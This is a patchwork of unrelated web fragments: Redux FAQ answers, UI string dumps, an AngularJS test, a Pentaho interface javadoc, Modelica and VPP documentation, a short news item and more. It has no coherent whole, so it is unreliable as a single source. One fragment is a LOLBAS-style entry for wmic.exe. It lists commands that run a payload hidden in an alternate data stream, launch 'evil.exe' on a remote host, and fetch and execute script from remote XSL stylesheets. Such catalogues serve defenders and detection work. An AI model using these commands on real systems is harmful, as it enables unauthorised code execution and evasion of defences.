Further informationDocumentation
- Style Guide: Structure Files as Feature Folders with Single-File Logic
- Redux Essentials tutorial: App Structure
- FAQ: Actions - "1:1 mapping between reducers and actions?"
Articles
- How to Scale React Applications (accompanying talk: Scaling React Applications)
- Redux Best Practices
- Rules For Structuring (Redux) Applications
- A Better File Structure for React/Redux Applications
- Organizing Large React Applications
- Four Strategies for Organizing Code
- Encapsulating the Redux State Tree
- Redux Reducer/Selector Asymmetry
- Modular Reducers and Selectors
- My journey towards a maintainable project structure for React/Redux
- React/Redux Links: Architecture - Project File Structure
Discussions
- #839: Emphasize defining selectors alongside reducers
- #943: Reducer querying
- React Boilerplate #27: Application Structure
- Stack Overflow: How to structure Redux components/containers
- Twitter: There is no ultimate file structure for Redux
#
How should I split my logic between reducers and action creators? Where should my “business logic” go?
There's no single clear answer to exactly what
pieces of logic should go in a reducer or an action
creator. Some developers prefer to have “fat” action
creators, with “thin” reducers that simply take the
data in an action and blindly merge it into the
corresponding state. Others try to emphasize keeping
actions as small as possible, and minimize the usage
of getState()
in an action creator. (For
purposes of this question, other async approaches such
as sagas and observables fall in the "action
creator" category.)
There are several potential benefits from putting more
logic into your reducers. It's likely that the
action types would be more semantic and more
meaningful (such as
"USER_UPDATED"
instead of
"SET_STATE"
). In addition,
having more logic in reducers means that more
functionality will be affected by time travel
debugging.
This comment sums up the dichotomy nicely:
Now, the problem is what to put in the action creator and what in the reducer, the choice between fat and thin action objects. If you put all the logic in the action creator, you end up with fat action objects that basically declare the updates to the state. Reducers become pure, dumb, add-this, remove that, update these functions. They will be easy to compose. But not much of your business logic will be there. If you put more logic in the reducer, you end up with nice, thin action objects, most of your data logic in one place, but your reducers are harder to compose since you might need info from other branches. You end up with large reducers or reducers that take additional arguments from higher up in the state.
tip
We recommend putting as much logic as possible into reducers. There are times when you may need some logic to help prepare what goes into the action, but reducers should do most of the work.
#
Further informationDocumentation
- Style Guide: Put as Much Logic as Possible in Reducers
- Style Guide: Model Actions as "Events", not "Setters"
Articles
- Where do I put my business logic in a React/Redux application?
- How to Scale React Applications
- The Tao of Redux, Part 2 - Practice and Philosophy. Thick and thin reducers.
Discussions
- How putting too much logic in action creators could affect debugging
- #384: The more that's in a reducer, the more you can replay via time travel
- #1165: Where to put business logic / validation?
- #1171: Recommendations for best practices regarding action-creators, reducers, and selectors
- Stack Overflow: Accessing Redux state in an action creator?
- #2796: Gaining clarity on "business logic"
- Twitter: Moving away from unclear terminology...
#
Why should I use action creators?
Redux does not require action creators. You are free
to create actions in any way that is best for you,
including simply passing an object literal to
dispatch
. Action creators emerged from
the
Flux architecture
and have been adopted by the Redux community because
they offer several benefits.
Action creators are more maintainable. Updates to an action can be made in one place and applied everywhere. All instances of an action are guaranteed to have the same shape and the same default values.
Action creators are testable. The correctness of an inline action must be verified manually. Like any function, tests for an action creator can be written once and run automatically.
Action creators are easier to document. The action creator's parameters enumerate the action's dependencies. And centralization of the action definition provides a convenient place for documentation comments. When actions are written inline, this information is harder to capture and communicate.
Action creators are a more powerful abstraction. Creating an action often involves transforming data or making AJAX requests. Action creators provide a uniform interface to this varied logic. This abstraction frees a component to dispatch an action without being complicated by the details of that action's creation.
#
Further informationArticles
Discussions
#
Where should websockets and other persistent connections live?Middleware are the right place for persistent connections like websockets in a Redux app, for several reasons:
- Middleware exist for the lifetime of the application
- Like with the store itself, you probably only need a single instance of a given connection that the whole app can use
- Middleware can see all dispatched actions and dispatch actions themselves. This means a middleware can take dispatched actions and turn those into messages sent over the websocket, and dispatch new actions when a message is received over the websocket.
- A websocket connection instance isn't serializable, so it doesn't belong in the store state itself
See this example that shows how a socket middleware might dispatch and respond to Redux actions.
There's many existing middleware for websockets and other similar connections - see the link below.
Libraries
#
How can I use the Redux store in non-component files?
There should only be a single Redux store per
application. This makes it effectively a singleton in
terms of the app architecture. When used with React,
the store is injected into the components at runtime
by rendering a
<Provider store={store}>
around the
root <App>
component, so only the
application setup logic needs to import the store
directly.
However, there may be times when other parts of the codebase need to interact with the store as well.
You should avoid importing the store directly into other codebase files. While it may work in some cases, that often ends up causing circular import dependency errors.
Some possible solutions are:
- Write your store-dependent logic as a thunk, and then dispatch that thunk from a component
-
Pass along references to
dispatch
from components as arguments the relevant functions - Write the logic as middleware and add them to the store at setup time
- Inject the store instance into the relevant files as the app is being created.
One common use case is reading API authorization
information such as a token from the Redux state,
inside of an Axios interceptor. The interceptor file
needs to reference store.getState()
, but
also needs to be imported into API layer files, and
this leads to circular imports.
You can expose an injectStore
function
from the interceptor file instead:
Then, in your entry point file, inject the store into the API setup file:
This way, the application setup is the only code that has to import the store, and the file dependency graph avoids circular dependencies.


00:00
Reset
Start
Stop
00:00
Start
Cancel
Edit Alarm
Done
Label
:
:
Repeat
:
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Sunday
Never
Sound
:
Classic
Bosscaling
Goodnight
Classic
Snooze
:
5 minutes
10 minutes
15 minutes
20 minutes
5 minutes
Delete


.component
API available since Angular JS 1.5
Feature A is so great that it even contains counter functionality!
Counter: {{$ctrl.counter}}
The implemented counter functionality is tested in isolation without instantiating of Angular JS context
import { assert } from 'chai';
import SomeComponent from './some-component';
let component;
describe('some-component', function() {
beforeEach(function() {
component = new SomeComponent();
});
it('should start with counter value 20', function () {
assert.equal(component.counter, 20);
});
it('should accept initial counter value as dependency', function () {
component = new SomeComponent(30);
assert.equal(component.counter, 30);
});
it('should increment counter value after increment is called', function () {
assert.equal(component.counter, 20);
component.increment();
assert.equal(component.counter, 21);
});
});


Execute calc.exe.
wmic.exe process call create calc
Execute a .EXE file stored as an Alternate Data Stream (ADS).
wmic.exe process call create "c:\ads\file.txt:program.exe"
Execute evil.exe on the remote system.
wmic.exe /node:"<IP_ADDRESS>" process call create "evil.exe"
Execute a script contained in the target .XSL file hosted on a remote server.
wmic.exe process get brief /format:"https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"
Executes JScript or VBScript embedded in the target XSL stylesheet.
wmic.exe os get /format:"MYXSLFILE.xsl"
Executes JScript or VBScript embedded in the target remote XSL stylsheet.
wmic.exe process get brief /format:"\\<IP_ADDRESS>\c$\Tools\pocremote.xsl"
Bypasses Default AppLocker Rules: False
- c:\windows\system32\wbem\wmic.exe
- c:\windows\sysWOW64\wbem\wmic.exe


bs-Button-{{brand}}
class is applied.
bs-Button-{{brand}}
class is rendered.bs-Button--light-outline
class is applied.
bs-Button--light-outline
class is rendered.bs-Button
s class is applied to button rendering elements like links or input elements.
Link
Link
Link
Link
Link
Link
Link
Link
u-button-block
class is applied.
u-button-lg
class is rendered.u-button-large
class is applied.
u-button-lg
class is rendered.u-button-block
class is applied.
u-button-block
class is rendered.u-button-block
class is combined with the
disabled
attribute or the
onDisabled
class.
block button
u-button-group
class is applied.
u-button-group
class is rendered.


Lawan swears in Danbaba as Senator
by Sunday AborisadeSunday Aborisade, Abuja
The President of the Senate, Ahmad Lawan, on Tuesday, administered the oath of office on Senator Ibrahim Danbaba, a Peoples Democratic Party member representing Sokoto South Senatorial District.
He replaced Shehu Tambuwal of the All Progressives Congress, who was sacked by the appeal court penultimate week.
The development has reduced the numbers of APC senators to 63 while PDP rose to 43 and Young Progressive Party, one.
One seat is currently outstanding in Kogi West Senatorial District
Details later.


Specifications of COINS
Contents
1. Design concepts of the Intermediate Representations in COINS
2. Outline of High level Intermediate Representation HIR
3. Semantics of High level Intermediate Representation HIR
4. Outline of the Symbol table
5. Design and Structure of LIR


Our Story 2
Built by Hand. In West Oakland.
Hand-built metalwork and fabrication bring our visions to life. But it starts with a spark — the creative vision drawing from the past and slamming it into the future.
GO FAST. SWEAT EVERY DETAIL. LOOK RIDICULOUSLY GOOD.
Hand-built metalwork and fabrication bring our visions to life. But it starts with a spark — the creative vision drawing from the past and slamming it into the future.
Hand-built metalwork and fabrication bring our visions to life. But it starts with a spark — the creative vision drawing from the past and slamming it into the future.
Hand-built metalwork and fabrication bring our visions to life. But it starts with a spark — the creative vision drawing from the past and slamming it into the future.
You could probably fit in there ;)
/-- file not found --/


--- layout: page title: 'COVID-19 Charts' ---
Below are charts created to help understand the spread of COVID-19 within Rutherford, comparing Rutherford to other regions. The charts on this page were created by the Data & Analytics committee.
On Friday March 18th, 2022 the Borough began reporting COVID cases weekly instead of daily. As we have continued to monitor the spread of COVID through the town and region, we have decided to no longer report local cases. Rutherford case counts have proportionally followed Bergen County case counts. For continued monitoring of the spread of COVID in the region we suggest following Bergen County information through the State of New Jersey reporting site, or sites such as Covid Act Now.
The Rutherford health department will continue monitoring COVID-19 cases. In the event that the numbers do not align with Bergen County, a notification will be sent out to the Rutherford residents.
Rutherford data comes from the Rutherford Health Department.
All other data comes from the New York Times, based on reports from state and local health agencies.
2021 First Quarter COVID Case Charts
This table is the data provided by the Rutherford Health Department.
{% include covid_charts_table.html %}


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
public interface RowMetaInterface
This interface provides methods to describe and manipulate a row's structure. The interface is similar to the JDBC ResultSet interface in that it provides a means of getting data from a row.
Inside processRow() a step typically retrieves the structure of incoming rows by calling getInputRowMeta(), which is provided by the BaseStep class. The step would usually clone this object and pass it to getFields() of its meta class, to reflect any changes in row structure caused by the step itself. Now the step has RowMetaInterface objects describing both the input and output rows.
Usually a step would look for the indexes and types of relevant fields upon first execution of processRow(). The following methods of RowMetaInterface are particularly useful in that regard:
public int indexOfValue(...)
Given a field name, determine the index of the field in the row.
public String[] getFieldNames()
Returns an array of field names. The index of a field name matches the field index in the row array.
public void searchValueMeta(String valueName)
Given a field name, determine the meta data for the field.
public vValueMetaInterface getValueMeta(...)
Given a field index, determine the meta data for the field.
public List
Returns a list of all field descriptions. The index of the field description matches the field index in the row array.
| Method Summary | |
|---|---|
void |
addRowMeta(RowMetaInterface rowMeta)
Add a number of fields from another row (append to the end). |
void |
addValueMeta(int index,
ValueMetaInterface meta)
Add a metadata value on a certain location in the row. |
void |
addValueMeta(ValueMetaInterface meta)
Add a metadata value, extends the array if needed. |
void |
clear()
Clear the row metadata. |
RowMetaInterface |
clone()
Clone this RowMetaInterface object. |
Object[] |
cloneRow(Object[] objects)
Clone row. |
Object[] |
cloneRow(Object[] objects,
Object[] cloneTo)
Clone row. |
int |
compare(Object[] rowData1,
Object[] rowData2)
Compare 2 rows with each other using all values in the rows and also considering the specified ascending clauses of the value metadata. |
int |
compare(Object[] rowData1,
Object[] rowData2,
int[] fieldnrs)
Compare 2 rows with each other using certain values in the rows and also considering the specified ascending clauses of the value metadata. |
int |
compare(Object[] rowData1,
Object[] rowData2,
int[] fieldnrs1,
int[] fieldnrs2)
Compare 2 rows with each other using certain values in the rows and also considering the specified ascending clauses of the value metadata. |
int |
compare(Object[] rowData1,
RowMetaInterface rowMeta2,
Object[] rowData2,
int[] fieldnrs1,
int[] fieldnrs2)
Compare 2 rows with each other using certain values in the rows and also considering the specified ascending clauses of the value metadata. |
int |
convertedValuesHashCode(Object[] rowData)
Calculates a hashcode of the converted value of all objects in the supplied row. |
boolean |
equals(Object[] rowData1,
Object[] rowData2,
int[] fieldnrs)
Compare 2 rows with each other for equality using certain values in the rows and also considering the case sensitivity flag. |
boolean |
exists(ValueMetaInterface meta)
Check if a value is already present in this row with the same name. |
BigDecimal |
getBigNumber(Object[] dataRow,
int index)
Get a BigNumber value from a row of data. |
byte[] |
getBinary(Object[] dataRow,
int index)
Get a Binary value from a row of data. |
Boolean |
getBoolean(Object[] dataRow,
int index)
Get a Boolean value from a row of data. |
String |
getDataXML(Object[] rowData)
Gets the data xml. |
Date |
getDate(Object[] dataRow,
int index)
Get a Date value from a row of data. |
Date |
getDate(Object[] dataRow,
String valueName,
Date defaultValue)
Gets the date. |
String[] |
getFieldNames()
Get an array of the names of all the Values in the Row. |
String[] |
getFieldNamesAndTypes(int maxlen)
Get an array of strings showing the name of the values in the row padded to a maximum length, followed by the types of the values. |
Long |
getInteger(Object[] dataRow,
int index)
Get an Integer value from a row of data. |
Long |
getInteger(Object[] dataRow,
String valueName,
Long defaultValue)
Gets the integer. |
String |
getMetaXML()
Gets the meta xml. |
Double |
getNumber(Object[] dataRow,
int index)
Get a Number value from a row of data. |
Object[] |
getRow(Node node)
Convert an XML node into binary data using the row metadata supplied. |
String |
getString(Object[] row)
Get the string representation of the data in a row of data. |
String |
getString(Object[] dataRow,
int index)
Get a String value from a row of data. |
String |
getString(Object[] dataRow,
String valueName,
String defaultValue)
Gets the string. |
ValueMetaInterface |
getValueMeta(int index)
Get the value metadata on the specified index. |
List<ValueMetaInterface> |
getValueMetaList()
Gets the value meta list. |
int |
hashCode(Object[] rowData)
Calculates a simple hashCode of all the native data objects in the supplied row. |
int |
indexOfValue(String valueName)
Searches the index of a value meta with a given name. |
boolean |
isEmpty()
Returns true if there are no elements in the row metadata. |
boolean |
isNull(Object[] dataRow,
int index)
Determines whether a value in a row is null. |
void |
mergeRowMeta(RowMetaInterface r)
Merge the values of row r to this Row. |
int |
oldXORHashCode(Object[] rowData)
Deprecated. |
Object[] |
readData(DataInputStream inputStream)
De-serialize a row of data (no metadata is read) from an input stream. |
void |
removeValueMeta(int index)
Remove a value metadata object on a certain index in the row. |
void |
removeValueMeta(String string)
Remove a value with a certain name from the row metadata. |
ValueMetaInterface |
searchValueMeta(String valueName)
Searches for a value with a certain name in the value meta list. |
void |
setValueMeta(int index,
ValueMetaInterface valueMeta)
Replaces a value meta entry in the row metadata with another one. |
void |
setValueMetaList(List<ValueMetaInterface> valueMetaList)
Sets the value meta list. |
int |
size()
Returns the size of the metadata row. |
String |
toStringMeta()
To string meta. |
void |
writeData(DataOutputStream outputStream,
Object[] data)
Write a serialized version of the supplied data to the outputStream (based on the metadata but not the metadata itself). |
void |
writeMeta(DataOutputStream outputStream)
Write a serialized version of this class (Row Metadata) to the specified outputStream. |
| Method Detail |
|---|
List<ValueMetaInterface> getValueMetaList()
void setValueMetaList(List<ValueMetaInterface> valueMetaList)
valueMetaList
- the list of valueMeta to setboolean exists(ValueMetaInterface meta)
meta
- the value to check for existence
void addValueMeta(ValueMetaInterface meta)
meta
- The metadata value to addvoid addValueMeta(int index, ValueMetaInterface meta)
index
- The index where the metadata value needs to be put in the rowmeta
- The metadata value to add to the rowValueMetaInterface getValueMeta(int index)
index
- The index to get the value metadata from
void setValueMeta(int index, ValueMetaInterface valueMeta)
index
- The index in the row to replace atvalueMeta
- the metadata to replace withString getString(Object[] dataRow, int index) throws KettleValueException
dataRow
- the data rowindex
- the index
KettleValueException
- in case there was a problem converting the data.Long getInteger(Object[] dataRow, int index) throws KettleValueException
dataRow
- the data rowindex
- the index
KettleValueException
- in case there was a problem converting the data.Double getNumber(Object[] dataRow, int index) throws KettleValueException
dataRow
- the data rowindex
- the index
KettleValueException
- in case there was a problem converting the data.Date getDate(Object[] dataRow, int index) throws KettleValueException
dataRow
- the data rowindex
- the index
KettleValueException
- in case there was a problem converting the data.BigDecimal getBigNumber(Object[] dataRow, int index) throws KettleValueException
dataRow
- the data rowindex
- the index
KettleValueException
- in case there was a problem converting the data.Boolean getBoolean(Object[] dataRow, int index) throws KettleValueException
dataRow
- the data rowindex
- the index
KettleValueException
- in case there was a problem converting the data.byte[] getBinary(Object[] dataRow, int index) throws KettleValueException
dataRow
- the data rowindex
- the index
KettleValueException
- in case there was a problem converting the data.Object[] cloneRow(Object[] objects, Object[] cloneTo) throws KettleValueException
objects
- objects to clonecloneTo
- objects to clone to
KettleValueException
- in case something is not quite right with the expected dataObject[] cloneRow(Object[] objects) throws KettleValueException
objects
- object to clone
KettleValueException
- in case something is not quite right with the expected dataint size()
boolean isEmpty()
boolean isNull(Object[] dataRow, int index) throws KettleValueException
dataRow
- The row of dataindex
- the index to reference
KettleValueException
- in case there is a conversion error (only thrown in case of lazy conversion)RowMetaInterface clone()
String getString(Object[] dataRow, String valueName, String defaultValue) throws KettleValueException
dataRow
- the data rowvalueName
- the value namedefaultValue
- the default value
KettleValueException
- the kettle value exceptionLong getInteger(Object[] dataRow, String valueName, Long defaultValue) throws KettleValueException
dataRow
- the data rowvalueName
- the value namedefaultValue
- the default value
KettleValueException
- the kettle value exceptionDate getDate(Object[] dataRow, String valueName, Date defaultValue) throws KettleValueException
dataRow
- the data rowvalueName
- the value namedefaultValue
- the default value
KettleValueException
- the kettle value exceptionValueMetaInterface searchValueMeta(String valueName)
valueName
- The value name to search for
int indexOfValue(String valueName)
valueName
- the name of the value metadata to look for
void addRowMeta(RowMetaInterface rowMeta)
rowMeta
- The row of metadata values to addvoid mergeRowMeta(RowMetaInterface r)
r
- The row to be merged with this rowString[] getFieldNames()
void writeMeta(DataOutputStream outputStream) throws KettleFileException
outputStream
- the outputstream to write to
KettleFileException
- in case a I/O error occursvoid writeData(DataOutputStream outputStream, Object[] data) throws KettleFileException
outputStream
- the outputstream to write todata
- the data to write after the metadata
KettleFileException
- in case a I/O error occursObject[] readData(DataInputStream inputStream) throws KettleFileException, SocketTimeoutException
inputStream
- the inputstream to read from
KettleFileException
- in case a I/O error occurs
SocketTimeoutException
- In case there is a timeout during reading.void clear()
void removeValueMeta(String string) throws KettleValueException
string
- the name of the value metadata to remove
KettleValueException
- in case the value couldn't be found in the row metadatavoid removeValueMeta(int index)
index
- the index to remove the value metadata fromString getString(Object[] row) throws KettleValueException
row
- the row of data to convert to string
KettleValueException
- in case of a conversion errorString[] getFieldNamesAndTypes(int maxlen)
maxlen
- The length to which the name will be padded.
int compare(Object[] rowData1, Object[] rowData2, int[] fieldnrs) throws KettleValueException
rowData1
- The first row of datarowData2
- The second row of datafieldnrs
- the fields to compare on (in that order)
KettleValueException
- the kettle value exceptionboolean equals(Object[] rowData1, Object[] rowData2, int[] fieldnrs) throws KettleValueException
rowData1
- The first row of datarowData2
- The second row of datafieldnrs
- the fields to compare on (in that order)
KettleValueException
- the kettle value exceptionint compare(Object[] rowData1, Object[] rowData2, int[] fieldnrs1, int[] fieldnrs2) throws KettleValueException
rowData1
- The first row of datarowData2
- The second row of datafieldnrs1
- The indexes of the values to compare in the first rowfieldnrs2
- The indexes of the values to compare with in the second row
KettleValueException
- the kettle value exceptionint compare(Object[] rowData1, RowMetaInterface rowMeta2, Object[] rowData2, int[] fieldnrs1, int[] fieldnrs2) throws KettleValueException
rowData1
- The first row of datarowMeta2
- the metadat of the second row of datarowData2
- The second row of datafieldnrs1
- The indexes of the values to compare in the first rowfieldnrs2
- The indexes of the values to compare with in the second row
KettleValueException
- the kettle value exceptionint compare(Object[] rowData1, Object[] rowData2) throws KettleValueException
rowData1
- The first row of datarowData2
- The second row of data
KettleValueException
- the kettle value exceptionint oldXORHashCode(Object[] rowData) throws KettleValueException
rowData
- The data to calculate a hashCode with
KettleValueException
- in case there is a data conversion errorint hashCode(Object[] rowData) throws KettleValueException
rowData
- The data to calculate a hashCode with
KettleValueException
- in case there is a data conversion errorint convertedValuesHashCode(Object[] rowData) throws KettleValueException
rowData
- The data to calculate a hashCode with
KettleValueException
- in case there is a data conversion errorString toStringMeta()
String getMetaXML() throws IOException
IOException
- Thrown in case there is an (Base64/GZip) encoding problemString getDataXML(Object[] rowData) throws IOException
rowData
- the row of data to serialize as XML
IOException
- Thrown in case there is an (Base64/GZip) encoding problemObject[] getRow(Node node) throws KettleException
node
- The data row node
KettleException
- Thrown in case there is an (Base64/GZip) decoding problem
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With this effect we activate the chosen flag.
Create an "activate flag" effect:
We can choose on it the effect we would like to activate among all the effects created in the chapter. In addition we can create a new effect. For that purpose simple type in the name of the new effect


Package Frames.Quaternions contains type definitions and functions to transform rotational frame quantities with quaternions. Functions of this package are currently only utilized in MultiBody.Parts.Body components, when quaternions shall be used as parts of the body states. Some functions are also used in a new Modelica package for B-Spline interpolation that is able to interpolate paths consisting of position vectors and orientation objects.
In the table below an example is given for every function definition. The used variables have the following declaration:
Quaternions.Orientation Q, Q1, Q2, Q_rel, Q_inv; Real[3,3] T, T_inv; Real[3] v1, v2, w1, w2, n_x, n_y, n_z, res_ori, phi; Real[6] res_equal; Real L, angle;
| Function/type | Description |
|---|---|
| Orientation Q; | New type defining a quaternion object that describes the rotation of frame 1 into frame 2. |
| der_Orientation der_Q; | New type defining the first time derivative of Frames.Quaternions.Orientation. |
| res_ori = orientationConstraint(Q); | Return the constraints between the variables of a quaternion
object (shall be zero). |
| w1 = angularVelocity1(Q, der_Q); | Return angular velocity resolved in frame 1 from quaternion
object Q and its derivative der_Q. |
| w2 = angularVelocity2(Q, der_Q); | Return angular velocity resolved in frame 2 from quaternion
object Q and its derivative der_Q. |
| v1 = resolve1(Q,v2); | Transform vector v2 from frame 2 to frame 1. |
| v2 = resolve2(Q,v1); | Transform vector v1 from frame 1 to frame 2. |
| [v1,w1] = multipleResolve1(Q, [v2,w2]); | Transform several vectors from frame 2 to frame 1. |
| [v2,w2] = multipleResolve2(Q, [v1,w1]); | Transform several vectors from frame 1 to frame 2. |
| Q = nullRotation() | Return quaternion object R that does not rotate a frame. |
| Q_inv = inverseRotation(Q); | Return inverse quaternion object. |
| Q_rel = relativeRotation(Q1,Q2); | Return relative quaternion object from two absolute quaternion objects. |
| Q2 = absoluteRotation(Q1,Q_rel); | Return absolute quaternion object from another absolute and a relative quaternion object. |
| Q = planarRotation(e, angle); | Return quaternion object of a planar rotation. |
| phi = smallRotation(Q); | Return rotation angles phi valid for a small rotation. |
| Q = from_T(T); | Return quaternion object Q from transformation matrix T. |
| Q = from_T_inv(T_inv); | Return quaternion object Q from inverse transformation matrix T_inv. |
| T = to_T(Q); | Return transformation matrix T from quaternion object Q. |
| T_inv = to_T_inv(Q); | Return inverse transformation matrix T_inv from quaternion object Q. |
| Name | Description |
|---|---|
| Orientation | Orientation type defining rotation from a frame 1 into a frame 2 with quaternions {p1,p2,p3,p0} |
| der_Orientation | First time derivative of Quaternions.Orientation |
| orientationConstraint | Return residues of orientation constraints (shall be zero) |
| angularVelocity1 | Compute angular velocity resolved in frame 1 from quaternions orientation object and its derivative |
| angularVelocity2 | Compute angular velocity resolved in frame 2 from quaternions orientation object and its derivative |
| resolve1 | Transform vector from frame 2 to frame 1 |
| resolve2 | Transform vector from frame 1 to frame 2 |
| multipleResolve1 | Transform several vectors from frame 2 to frame 1 |
| multipleResolve2 | Transform several vectors from frame 1 to frame 2 |
| nullRotation | Return quaternion orientation object that does not rotate a frame |
| inverseRotation | Return inverse quaternions orientation object |
| relativeRotation | Return relative quaternions orientation object |
| absoluteRotation | Return absolute quaternions orientation object from another absolute and a relative quaternions orientation object |
| planarRotation | Return quaternion orientation object of a planar rotation |
| smallRotation | Return rotation angles valid for a small rotation |
| from_T | Return quaternion orientation object Q from transformation matrix T |
| from_T_inv | Return quaternion orientation object Q from inverse transformation matrix T_inv |
| to_T | Return transformation matrix T from quaternion orientation object Q |
| to_T_inv | Return inverse transformation matrix T_inv from quaternion orientation object Q |


Third Party Software Dependencies¶
Omics Pipe is dependent upon several third-party software packages. Before running Omics Pipe, please install all of the required tools for the pipeline you will be running (see below) as Modules on your local cluster. If you are running the AWS distribution, all third party software is already installed.
R Packages Needed¶
In R, you can cut and copy this to install all required packages:
install.packages(c("bibtex", "AnnotationDbi", "cluster", "cummeRbund", "data.table", "DBI", "DESeq2", "devtools", "dplyr", "gdata",
"ggplot2", "graphite", "igraph", "KEGGREST","knitr", "knitrBootstrap", "lattice", "locfit", "pamr", "pander", "pathview",
"plyr","RColorBrewer","Rcpp", "RcppArmadillo", "RCurl", "ReactomePA", "RefManageR","RJSONIO","RSQLite",
"stringr","survival", "XML", "xtable", "yaml"))
RNA-seq (Tuxedo)¶
FASTQC: http://www.bioinformatics.babraham.ac.uk/projects/fastqc/ TOPHAT: http://tophat.cbcb.umd.edu/ CUFFLINKS: http://cufflinks.cbcb.umd.edu/
RNA-seq (Anders 2013)¶
Whole Exome Sequencing (GATK)¶
Whole Genome Sequencing (GATK)¶
Whole Genome Sequencing (MUTECT)¶
ChIP-seq (MACS)¶
ChIP-seq (HOMER)¶
Breast Cancer Personalized Genomics Report- RNAseq¶
FASTQC: http://www.bioinformatics.babraham.ac.uk/projects/fastqc/ STAR: http://code.google.com/p/rna-star/ SAMTOOLS: http://samtools.sourceforge.net/ HTSEQ: http://www-huber.embl.de/users/anders/HTSeq/doc/index.html RSEQC: http://rseqc.sourceforge.net/ PICARD: http://picard.sourceforge.net/ GATK: https://www.broadinstitute.org/gatk/download FusionCatcher: https://code.google.com/p/fusioncatcher/ Oncofuse: http://www.unav.es/genetica/oncofuse.html BWA: http://bio-bwa.sourceforge.net/ DNANEXUS SAMTOOLS: https://github.com/dnanexus/samtools BEDTOOLS: https://github.com/arq5x/bedtools2 BLAT: https://genome.ucsc.edu/FAQ/FAQblat.html#blat3 SNPiR: http://lilab.stanford.edu/SNPiR/ SNPEFF: http://snpeff.sourceforge.net/ SNPSIFT: http://snpeff.sourceforge.net/SnpSift.html VCFTOOLS: http://vcftools.sourceforge.net/
TCGA Reanalysis Pipeline - RNAseq¶
GeneTorrent: https://cghub.ucsc.edu/docs/user/software.html FASTQC: http://www.bioinformatics.babraham.ac.uk/projects/fastqc/ STAR: http://code.google.com/p/rna-star/ SAMTOOLS: http://samtools.sourceforge.net/ HTSEQ: http://www-huber.embl.de/users/anders/HTSeq/doc/index.html RSEQC: http://rseqc.sourceforge.net/ PICARD: http://picard.sourceforge.net/ GATK: https://www.broadinstitute.org/gatk/download FusionCatcher: https://code.google.com/p/fusioncatcher/ Oncofuse: http://www.unav.es/genetica/oncofuse.html BWA: http://bio-bwa.sourceforge.net/ DNANEXUS SAMTOOLS: https://github.com/dnanexus/samtools BEDTOOLS: https://github.com/arq5x/bedtools2 BLAT: https://genome.ucsc.edu/FAQ/FAQblat.html#blat3 SNPiR: http://lilab.stanford.edu/SNPiR/ SNPEFF: http://snpeff.sourceforge.net/ SNPSIFT: http://snpeff.sourceforge.net/SnpSift.html VCFTOOLS: http://vcftools.sourceforge.net/
TCGA Reanalysis Pipeline - RNAseq Counts¶
miRNAseq Counts (Anders 2013)¶
miRNAseq (Tuxedo)¶
CutAdapt: http://code.google.com/p/cutadapt/ FASTQC: http://www.bioinformatics.babraham.ac.uk/projects/fastqc/ TOPHAT: http://tophat.cbcb.umd.edu/ CUFFLINKS: http://cufflinks.cbcb.umd.edu/


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Click or tap on the icons to select the impact your tool will have.
Data tiles


Graph Walks¶
All FIB object types are allocated from a VPP memory pool 1. The objects are thus susceptible to memory re-allocation, therefore the use of a bare “C” pointer to refer to a child or parent is not possible. Instead there is the concept of a fib_node_ptr_t which is a tuple of type,index. The type indicates what type of object it is (and hence which pool to use) and the index is the index in that pool. This allows for the safe retrieval of any object type.
When a child resolves via a parent it does so knowing the type of that parent. The child to parent relationship is thus fully known to the child, and hence a forward walk of the graph (from child to parent) is trivial. However, a parent does not choose its children, it does not even choose the type. All object types that form part of the FIB control plane graph all inherit from a single base class14; fib_node_t. A fib_node_t identifies the object’s index and its associated virtual function table provides the parent a mechanism to visit that object during the walk. The reason for a back-walk is to inform all children that the state of the parent has changed in some way, and that the child may itself need to update.
To support the many to one, child to parent, relationship a parent must maintain a list of its children. The requirements of this list are;
O(1) insertion and delete time. Several child-parent relationships are made/broken during route addition/deletion.
Ordering. High priority children are at the front, low priority at the back (see section Fast Convergence)
Insertion at arbitrary locations.
To realise these requirements the child-list is a doubly linked-list, where each element contains a fib_node_ptr_t. The VPP pool memory model applies to the list elements, so they are also identified by an index. When a child is added to a list it is returned the index of the element. Using this index the element can be removed in constant time. The list supports ‘push-front’ and ‘push-back’ semantics for ordering. To walk the children of a parent is then to iterate of this list.
A back-walk of the graph is a depth first search where all children in all levels of the hierarchy are visited. Such walks can therefore encounter all object instances in the FIB control plane graph, numbering in the millions. A FIB control-plane graph is cyclic in the presence of a recursion loop, so the walk implementation has mechanisms to detect this and exit early.
A back-walk can be either synchronous or asynchronous. A synchronous walk will visit the entire section of the graph before control is returned to the caller, an asynchronous walk will queue the walk to a background process, to run at a later time, and immediately return to the caller. To implement asynchronous walks a fib_walk_t object it added to the front of the parent’s child list. As children are visited the fib_walk_t object advances through the list. Since it is inserted in the list, when the walk suspends and resumes, it can continue at the correct location. It is also safe with respect to the deletion of children from the list. New children are added to the head of the list, and so will not encounter the walk, but since they are new, they already have the up to date state of the parent.
A VLIB process ‘fib-walk’ runs to perform the asynchronous walks. VLIB has no priority scheduling between respective processes, so the fib-walk process does work in small increments so it does not block the main route download process. Since the main download process effectively has priority numerous asynchronous back-walks can be started on the same parent instance before the fib-walk process can run. FIB is a ‘final state’ application. If a parent changes n times, it is not necessary for the children to also update n times, instead it is only necessary that this child updates to the latest, or final, state. Consequently when multiple walks on a parent (and hence potential updates to a child) are queued, these walks can be merged into a single walk.
Choosing between a synchronous and an asynchronous walk is therefore a trade-off between time it takes to propagate a change in the parent to all of its children, versus the time it takes to act on a single route update. For example, if a route update where to affect millions of child recursive routes, then the rate at which such updates could be processed would be dependent on the number of child recursive route which would not be good. At the time of writing FIB2.0 uses synchronous walk in all locations except when walking the children of a path-list, and it has more than 32 3 children. This avoids the case mentioned above.
Footnotes:


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This rule checks that non-abstract classes extending AbstractDao end with DaoImpl. In addition, classes that inherit from a class with the suffix Dao must also have the suffix Dao.
public abstract class ClassDaoImpl extends AbstractDao {}
public class TestClass extends TestDao {}
public class ClassDaoImpl extends AbstractDao {}
public class ClassDao extends TestDao {}


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| CN Retail Sales Monthly Y/Y (%) | |||||||||
| Date | For Month | Market Expectation | Kshitij Expectation | Previous | Released | Revised | |||
| 15-Nov-17 | Oct-17 | 10.4 | - | 10.3 | 10.0 | - | |||
